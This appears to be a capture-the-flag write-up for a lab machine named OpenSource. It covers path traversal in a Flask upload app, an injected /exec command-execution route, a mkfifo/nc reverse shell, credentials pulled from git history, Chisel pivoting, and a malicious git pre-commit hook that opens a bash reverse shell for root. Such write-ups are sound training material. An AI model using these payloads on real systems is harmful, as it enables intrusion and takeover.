OpenSource
Enumeration
Ports and Services
Software Installed:
- Gitea version 1.16.6
Nmap Scan Results:
Gobuster Scan:
Homepage:
URL: http://10.129.108.178/
Source Code Download
URL: http://10.129.108.178/download/source.zip
Upcloud
URL: http://10.129.108.178/upcloud
The source code shows utils.py and views.py
Utils.py:
import time
def current_milli_time():
return round(time.time() * 1000)
"""
Pass filename and return a secure version, which can then safely be stored on a regular file system.
"""
def get_file_name(unsafe_filename):
return recursive_replace(unsafe_filename, "../", "")
"""
TODO: get unique filename
"""
def get_unique_upload_name(unsafe_filename):
spl = unsafe_filename.rsplit("\\.", 1)
file_name = spl[0]
file_extension = spl[1]
return recursive_replace(file_name, "../", "") + "_" + str(current_milli_time()) + "." + file_extension
"""
Recursively replace a pattern in a string
"""
def recursive_replace(search, replace_me, with_me):
if replace_me not in search:
return search
return recursive_replace(search.replace(replace_me, with_me), replace_me, with_me)
views.py:
import os
from app.utils import get_file_name
from flask import render_template, request, send_file
from app import app
@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
f = request.files['file']
file_name = get_file_name(f.filename)
file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
f.save(file_path)
return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
return render_template('upload.html')
@app.route('/uploads/<path:path>')
def send_report(path):
path = get_file_name(path)
return send_file(os.path.join(os.getcwd(), "public", "uploads", path))
Initial Foothold
Looking at utils they some basic LFI protection against ../ so that when it
sees it it would replace it with “”.
Tested with a basic python script:
The filename can be a path.
It put the file in /upload and when I visited the link it was a download
rather than run code.
Attempted adding cmd code to views.py:
@app.route('/exec')
def runcmd():
return os.system(request.args.get('cmd'))
Saved the new views.py and uploaded it by replacing the filename in Burp with
the path ../app/app/views.py
Changed the path to ..//app/app/views.py
Result is success:
Test RCE:
URL: 10.129.108.178/exec?cmd=ping -c 1 10.10.14.103
Browser Response:
Listening for ICMP response:
Resent request via Burp Repeater with full URL encoding of the cmd:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.103 8888 >/tmp/f
Nothing of interest was found
Looking at .git that was included in source.zip
git show-branch
Look at the logs
git log dev –oneline
Look at commit a76f8f7
Looks like a username/password was found
SSH Requires a public/private key:
Other IP’s:
172.17.0.1:
172.17.0.2-9 excluding 4:
Using Chisel for a reverse proxy:
https://www.youtube.com/watch?v=ghZ8XK9zEfI
Port 3000 on 172.16.0.1 is a Gitea Server:
Logged in as dev01 using found credentials from above
Found pub/priv ssh keys:
Used private key to login as dev01
User.txt Proof Screenshot
Privilege Escalation
Looks like a cron job committing
Created a pre-commit hook in /home/dev01/.git/hooks and made it executable
pre-commit:
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.82/8888 0>&1
Waited and recevied a root shell:
Found private SSH key and ssh as root:
RootScreenshot Here: